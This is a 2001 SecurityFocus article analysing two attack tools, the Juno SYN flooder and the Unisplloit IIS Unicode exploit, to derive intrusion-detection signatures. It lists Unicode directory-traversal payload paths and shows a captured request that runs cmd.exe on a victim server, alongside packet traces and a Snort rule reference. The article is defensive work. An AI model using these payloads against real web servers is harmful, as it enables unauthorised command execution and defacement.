

Hacker Tools and their Signatures, Part Two: Juno and Unisplloit

Toby Miller 2001-06-18

Hacker Tools and their Signatures, Part Two: Juno and Unisplloit

by *Toby Miller*

last updated June 18, 2001

Purpose

This is the second installment in the [Hacker Tools and Their Signatures](#) series, a series written to assist system administrators, security administrators, and the security community as a whole to identify and understand the tools that are being used in the hacker community. The [first article](#) examined the Berkley Internet Name Domain exploit bind8x.c. This installment will focus on two tools: [Juno](#) and [Unisplloit](#). This paper will provide a detailed analysis of these tools, including tcpdump examples and other useful references. This paper assumes that the reader is familiar with the TCP/IP protocol and other related protocols.

Juno Overview

Juno is a SYN flooder, which means that it's a program that floods a network connection with SYN packets. It can thus be summed up as a Denial of Service tool. There are actually two versions of Juno available. This article will focus on [Juno-z_101](#), which was written by Sorcerer and is a rewrite of the original program, Juno.c.

Juno

Okay, now that all of the preliminaries are taken care of, let's look at the fun details of this tool. Juno provides a few configurable options, including:

- Destination Address (naturally);
- Destination Ports - a value of 0 causes the program to randomly scan ports;
- Delay - this value is in nano seconds; and,
- Threads.

For the purposes of this article, the I ran `./juno xxx.xxx.xxx.xxx 111` on a Red Hat 7.1 machine.

Figure One (below) is a tcpdump trace of Juno-z. (Keep in mind that the source addresses are spoofed by Juno.)

```

14:29:04.190093 > 208.142.2.122.1030 > my.localhost.111: S 825202549:825202549(0)
win
16384 (DF) (ttl 128, id 56544)
      4500 0030 dce0 4000 8006 cbdd d08e 027a
      xxxx xxxx 0406 006f 312f 9775 0000 0000
      7002 4000 2450 0000 0204 05b4 0102 0403
14:29:04.210093 > 206.58.94.136.1243 > my.localhost.111: S 2834591913:2834591913
(0)
win 16384 (DF) (ttl 128, id 9993)
      4500 0030 2709 4000 8006 27fb ce3a 5e88
      xxxx xxxx 04db 006f a8f4 70a9 0000 0000
      7002 4000 78c7 0000 0204 05b4 0102 0403
14:29:04.230093 > 210.2.38.193.1165 > my.localhost.111: S 3280166353:3280166353(0)
win 16384 (DF) (ttl 128, id 50825)
      4500 0030 c689 4000 8006 bc79 d202 26c1
      xxxx xxxx 048d 006f c383 5dd1 0000
0000
      7002 4000 a55d 0000 0204 05b4 0102 0403
14:29:04.250093 < 129.9.246.243.1025 > my.localhost.111: S 4076280583:4076280583
(0)
win 16384 (DF) (ttl 128, id
27099)
      4500 003069db 4000 8006 99ee 8109 f6f3
      xxxx xxxx 0401 006f f2f7 1b07 0000 0000
      7002 4000 3a06 0000 0204 05b4 0102 0403

```

Figure 1. Juno TCPdump

Figure 1 is a great starting point in our analysis. The following characteristics of Juno really stand out:

- Source IP addresses are random, as they are spoofed;
- Sequence Numbers (in bold) are random; and,
- Source ports are random as well.

Okay, so far so good. No problem right? Well, in order for us to detect this tool we will need to look a little deeper in the packet besides the basic SRC_IP, DST_IP, SRC_PORT, DST_PORT and the Sequence Numbers.

Let's look at some other areas in the packet. The first one we will look at is the TTL. In all of the packets, we see a TTL of 128. The last time I checked (just a few seconds ago,) many of the Windows Operating Systems will set their TTLs to 128 as well.

The next item of interest is the packet size (in bold red,) which is indicated as 30. 30 in hex is equal to 48 in decimal. So we know that all packets are 48 bytes in size. Just for a quick review, remember that a generic IP header with no IP options set is equal to 20 bytes. A generic TCP header with no TCP options set is also 40 bytes. With a size of 48 bytes we know that there are some TCP options being used (Windows 2000 packet size is normally 48 bytes.) Normally, Windows 2000 sets the mss, 2 nop's and a Selective Acknowledgement (Sack) for options. In this example, we see that there are bad options set in the packets.

Let's take a look at the time factor with Juno. As we can see in Figure 1, Juno does an excellent job at pushing out packets. Figure 2 shows us some Windows 2000 packets.

```

08:59:33.614985 < 192.168.0.10.2209 > 192.168.0.15.ftp: S 706725219:706725219(0)
win 16384 (DF) (ttl 128, id 25744)
      4500 0030 6490 4000 8006 14ce c0a8 000a
      c0a8 000f 08a1 0015 2a1f c563 0000 0000
      7002 4000 c97c 0000 0204 05b4 0101 0402
08:59:33.615770 < 192.168.0.15.ftp < 192.168.0.10.2209: S 618774358:618774358(0)
ack 706725220 win 32120 (DF) (ttl 64, id 127)
      4500 0030 007f 4000 4006 b8df c0a8 000f
      c0a8 000a 0015 08a1 24e1 bf56 2a1f c564
      7012 7d78 a7bb 0000 0204 05b4 0101 0402
08:59:33.616071 < 192.168.0.10.2209 > 192.168.0.15.ftp: . 1:1(0) ack 1 win 17520
(DF)
(ttl 128, id 25745)
      4500 0028 6491 4000 8006 14d5 c0a8 000a
      c0a8 000f 08a1 0015 2a1f c564 24e1 bf57
      5010 4470 0d88 0000 0000 0000 0000

```

Figure 2. Windows 2000 packets

The first packet (in bold) is a Windows 2000 packet. If you look at the packet you see similarities with Juno packets. For instance, look at the packet size, TTL, TCP Options (although when I ran Juno I received a bad option message.)

If you want more information on Juno-z, I recommend that you [download it](#) and read the README file. The author gives specific details as to what was modified, including the fact that this tool emulates Windows (I just pointed out the details.)

Unisplloit

When I was deciding what to base this article on, I was presented with a difficult choice: should I continue on my own path, or should I write an article about a Microsoft exploit, keeping in mind that I generally avoid Microsoft like the plague. Well, I decided to try something new, Unisplloit, an exploit for Microsoft IIS 4.0 and 5.0.

Yes, this section focuses on a Unicode tool. Sorry. Hopefully, readers are somewhat familiar with the Unicode exploit. If not please see [the SecurityFocus discussion of the Unicode exploit](#).

Unisplloit: The details

[Unisplloit](#) is a nice GUI program written created by DarkWiZard & Drakaz-8105 that is used to attack (deface) IIS 5.0 web servers. As I stated earlier Unisplloit is designed to exploit the Unicode problems that exists on IIS 5.0. Unisplloit can run on both Windows NT and Windows 2000. For this article I ran Unisplloit on a Windows NT machine. Figure 3 (below) gives us a good idea of what the GUI looks like.



Figure 3: Unisploit screenshot

Here we see the setup of the GUI. Unisploit gives us many options as far as what kind of Unicode exploit to run, including:

- /scripts/..%c1%9c..
- /scripts/..%c0%af..
- /scripts/..%c1%pc..
- /scripts/..%c0%9v..
- /scripts/..%c0%9f..
- /scripts/..%c1%8s..
- /scripts/..%c1%1c..
- /scripts/..%c1%af..
- /scripts/..%e0%80%af..
- /msadc/..\%e0\%80\%af..
- /msadc/..%c0%af../..%
- /samples/..%c0%af..
- /adsamples/..%c0%af..
- /cgi-bin/..%c0%af..
- /iisamples/..%c0%af..
- /iisadmin/..%c0%af..
- /iisadmpwd/..%c0%af..

As you can see from the list, there are many options for an attacker to choose between. For this article, though, we will focus on /scripts/..%c1%9c... In addition to the list of Unicode exploits, Unisploit also comes with many commands a attacker can use.

```

Read           Netstat
Cd -dir        Attrib
Rename
Date
Delete         Erase
Start          Help
Mkdir          Prompt
Mem            Title
Copy           Time
Chkdsk
Tree
Format
Rmdir
Ver

```

```
Replace
Set
```

Figure 4: Unisplloit commands

Figure 4 shows us all of the commands associated with Unisplloit. As you can see, an attacker has many options using this tool. Now that we have all of the options and commands out of the way, let's take a look at what you would see if using a program like TCPDUMP.

```
08:41:00.564098 192.168.0.40.1035 > 192.168.0.10.http: P 1:375(374) ack
1 win 8760 (DF) (ttl 128, id 34560, len 414)
0x0000 4500 019e 8700 4000 8006 f0d6 c0a8 0028 E.....@.....(
0x0010 c0a8 000a 040b 0050 000d 24f2 0a27 a156 .....P..$..'V
0x0020 5018 2238 03b1 0000 4745 5420 2f73 6372 P."8....GET./scr
0x0030 6970 7473 2f2e 2e25 6331 2539 632e 2e2f ipts/..%c1%9c../
0x0040 7769 6e6e 742f 7379 7374 656d 3332 2f63 winnt/system32/c
0x0050 6d64 2e65 7865 3f2f 632b 6469 722b 433a md.exe?/c+dir+C:
0x0060 5c20 4854 5450 2f31 2e31 0d0a 4163 6365 \.HTTP/1.1..Acce
0x0070 7074 3a20 696d 6167 652f 6769 662c 2069 pt:.image/gif,.i
0x0080 6d61 ma
08:41:00.629728192.168.0.10.http > 192.168.0.40.1035: P 1:211(210) ack
375 win 17146 (DF) (ttl 128, id 38656, len 250)
0x0000 4500 00fa 9700 4000 8006 e17a c0a8 000a E.....@....z....
0x0010 c0a8 0028 0050 040b 0a27 a156 000d 2668 ...(.P...'V.&h
0x0020 5018 42fa d6b4 0000 4854 5450 2f31 2e31 P.B.....HTTP/1.1
0x0030 2032 3030 204f 4b0d 0a53 6572 7665 723a .200.OK..Server:
0x0040 204d 6963 726f 736f 6674 2d49 4953 2f35 .Microsoft-IIS/5
0x0050 2e30 0d0a 4461 7465 3a20 5475 652c 2031 .0..Date:.Tue,.1
0x0060 3220 4a75 6e20 3230 3031 2031 353a 3330 2.Jun.2001.15:30
0x0070 3a35 3820 474d 540d 0a43 6f6e 6e65 6374 :58.GMT..Connect
0x0080 696f io
08:41:00.640202 192.168.0.10.http > 192.168.0.40.1035: FP 211:841(630)
ack 375 win 17146 (DF) (ttl 128, id 38657, len 670)
0x0000 4500 029e 9701 4000 8006 dfd5 c0a8 000a E.....@.....
0x0010 c0a8 0028 0050 040b 0a27 a228 000d 2668 ...(.P...'(..&h
0x0020 5019 42fa a20a 0000 2044 6972 6563 746f P.B.....Directo
0x0030 7279 206f 6620 433a 5c0d 0a0d 0a31 302f ry.of.C:\....10/
0x0040 3138 2f32 3030 3020 2030 393a 3432 6120 18/2000..09:42a.
0x0050 2020 2020 203c 4449 523e 2020 2020 2020 .....
.....
0x0060 2020 2020 4368 6563 6b70 6f69 6e74 0d0a ....Checkpoint..
0x0070 3131 2f31 372f 3230 3030 2020 3132 3a34 11/17/2000..12:4
0x0080 3770 7p
```

Figure 5: Unisplloit TCPDUMP output

Because of space limitations, I have omitted the usual three-way connection that occurs between computers. Let's

look at the individual packets. In the first packet, we see that TCP sets the PUSH and the ACK flags (which are pretty common when sending data.) In addition to paying attention to the PUSH and ACK flags being set, look at the payload: it is a total of 374 bytes. If you look in the payload itself (bold in green,) you will see that the GET command is used. You will also see the exploit that was used in the attack (`/scripts/..%c1%9c...`) As well, we can see that the attacked box is sending back the requested data in the next two packets. Okay, how do we identify this?

Ideally Snort, or some other form of IDS would be used for this. However, if the user does not have Snort or another form of IDS then here is the scoop. We cannot identify this by size (hell anyone can modify the size,) and the Unicode exploit would only identify a specific attack. So we need to key on something that all of the attacks have common: that would be that both the PUSH and ACK flags are set and that the `cmd.exe` (bold in red) is common in the payload or `%c1%9c..` (`2e25 6331 2539 632e` in hex.) For Snort users, rule IDS434 is the Snort rule that would detect this tool. For more information about the signature and any other question related to Snort visit [Max Vision's Whitehats](#).

Conclusion

Well, I completed my experiment with Windows and I came out all right. Hopefully this brief overview of Juno and Unisploit has given readers a better understanding of these two commonly-used hacker tools. Please join us for the next installment in this series, when we will be looking at another tool that is used by the hacking community.

To read **Hacker Tools and their Signatures, Part Three: Rootkits**, click [here](#).

Toby Miller is a contributing author to the book [Intrusion Detection Signatures and Analysis](#) (NEW RIDERS Publishing) and is a contributing author to [Maximum Security Rev. 3](#) (SAMS Publishing). He has done work both in the Linux security world and Intrusion Detection/Firewall world. Mr. Miller has published numerous papers for both SANS and Securityfocus.com. He can be reached at tmiller@va.prestige.net.

[Privacy Statement](#)

Copyright 2006, SecurityFocus